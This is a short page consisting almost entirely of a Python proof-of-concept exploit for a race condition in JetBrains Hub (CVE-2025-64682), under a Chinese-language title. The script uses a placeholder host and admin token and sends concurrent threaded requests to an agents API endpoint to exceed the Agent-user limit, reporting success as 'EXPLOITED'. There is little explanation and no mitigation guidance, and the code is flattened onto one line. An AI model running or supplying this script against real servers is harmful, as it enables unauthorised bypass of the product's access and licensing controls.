JetBrains Hub 竞态条件漏洞导致Agent用户限制绕过 (CVE-2025-64682)

# CVE-2025-64682 PoC - JetBrains Hub Race Condition # This PoC demonstrates the race condition in Agent-user limit bypass import requests import threading import time import sys TARGET_URL = "https://hub.example.com" API_TOKEN = "your-admin-token-here" HEADERS = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } def create_agent(agent_name): """Attempt to create an agent via API""" try: response = requests.post( f"{TARGET_URL}/api/agents", headers=HEADERS, json={"name": agent_name}, timeout=10 ) return response.status_code, response.text except Exception as e: return None, str(e) def exploit_race_condition(num_agents=10): """ Exploit race condition to bypass Agent-user limit Send multiple concurrent requests to create agents """ threads = [] results = [] print(f"[*] Starting race condition attack with {num_agents} threads...") start_time = time.time() # Create multiple threads to send concurrent requests for i in range(num_agents): thread = threading.Thread( target=lambda idx: results.append(create_agent(f"agent-{idx}")), args=(i,) ) threads.append(thread) # Start all threads simultaneously for thread in threads: thread.start() # Wait for all threads to complete for thread in threads: thread.join() elapsed = time.time() - start_time # Analyze results success_count = sum(1 for status, _ in results if status == 201) print(f"[*] Attack completed in {elapsed:.2f} seconds") print(f"[*] Successfully created {success_count}/{num_agents} agents") print(f"[*] Race condition {'EXPLOITED' if success_count > 1 else 'FAILED'}") return success_count if __name__ == "__main__": if len(sys.argv) > 1: num_agents = int(sys.argv[1]) else: num_agents = 10 exploit_race_condition(num_agents)